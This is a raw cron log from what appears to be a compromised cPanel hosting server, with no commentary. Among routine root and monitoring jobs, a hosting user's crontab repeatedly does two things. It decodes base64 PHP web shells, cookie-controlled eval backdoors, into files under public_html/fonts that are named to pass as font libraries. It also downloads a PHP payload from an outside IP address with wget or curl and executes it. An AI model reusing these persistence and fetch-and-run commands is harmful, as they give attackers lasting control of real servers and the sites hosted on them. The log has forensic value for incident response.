Sep  8 16:42:01 ip-184-168-122-23 CROND[19330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:42:01 ip-184-168-122-23 CROND[19331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:42:01 ip-184-168-122-23 CROND[19332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:43:01 ip-184-168-122-23 CROND[19495]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:43:01 ip-184-168-122-23 CROND[19496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:43:01 ip-184-168-122-23 CROND[19498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:43:01 ip-184-168-122-23 CROND[19500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:44:01 ip-184-168-122-23 CROND[19591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:44:01 ip-184-168-122-23 CROND[19594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:44:01 ip-184-168-122-23 CROND[19595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:44:01 ip-184-168-122-23 CROND[19593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:44:01 ip-184-168-122-23 CROND[19596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:45:01 ip-184-168-122-23 CROND[19684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:45:01 ip-184-168-122-23 CROND[19687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:45:01 ip-184-168-122-23 CROND[19689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:45:01 ip-184-168-122-23 CROND[19690]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  8 16:45:01 ip-184-168-122-23 CROND[19688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:45:01 ip-184-168-122-23 CROND[19686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:45:01 ip-184-168-122-23 CROND[19691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:46:01 ip-184-168-122-23 CROND[19959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:46:01 ip-184-168-122-23 CROND[19963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:46:01 ip-184-168-122-23 CROND[19964]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 16:46:01 ip-184-168-122-23 CROND[19961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:46:01 ip-184-168-122-23 CROND[19962]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 16:46:01 ip-184-168-122-23 CROND[19965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:46:01 ip-184-168-122-23 CROND[19966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:47:01 ip-184-168-122-23 CROND[20462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:47:01 ip-184-168-122-23 CROND[20464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:47:01 ip-184-168-122-23 CROND[20465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:47:01 ip-184-168-122-23 CROND[20466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:48:01 ip-184-168-122-23 CROND[21030]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:48:01 ip-184-168-122-23 CROND[21032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:48:01 ip-184-168-122-23 CROND[21033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:48:01 ip-184-168-122-23 CROND[21035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:48:01 ip-184-168-122-23 CROND[21034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:49:01 ip-184-168-122-23 CROND[21478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:49:01 ip-184-168-122-23 CROND[21480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:49:01 ip-184-168-122-23 CROND[21484]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  8 16:49:01 ip-184-168-122-23 CROND[21485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:49:01 ip-184-168-122-23 CROND[21486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:50:01 ip-184-168-122-23 CROND[21948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:50:01 ip-184-168-122-23 CROND[21949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:50:01 ip-184-168-122-23 CROND[21952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:50:01 ip-184-168-122-23 CROND[21954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:50:01 ip-184-168-122-23 CROND[21953]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:50:01 ip-184-168-122-23 CROND[21959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:50:01 ip-184-168-122-23 CROND[21961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:50:01 ip-184-168-122-23 CROND[21962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:50:01 ip-184-168-122-23 CROND[21964]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 16:51:01 ip-184-168-122-23 CROND[22490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:51:01 ip-184-168-122-23 CROND[22492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:51:01 ip-184-168-122-23 CROND[22495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:51:01 ip-184-168-122-23 CROND[22494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:52:01 ip-184-168-122-23 CROND[23061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:52:01 ip-184-168-122-23 CROND[23062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:52:01 ip-184-168-122-23 CROND[23065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:52:01 ip-184-168-122-23 CROND[23063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:52:01 ip-184-168-122-23 CROND[23064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:53:01 ip-184-168-122-23 CROND[23725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:53:01 ip-184-168-122-23 CROND[23724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:53:01 ip-184-168-122-23 CROND[23726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:53:01 ip-184-168-122-23 CROND[23727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:54:01 ip-184-168-122-23 CROND[24168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
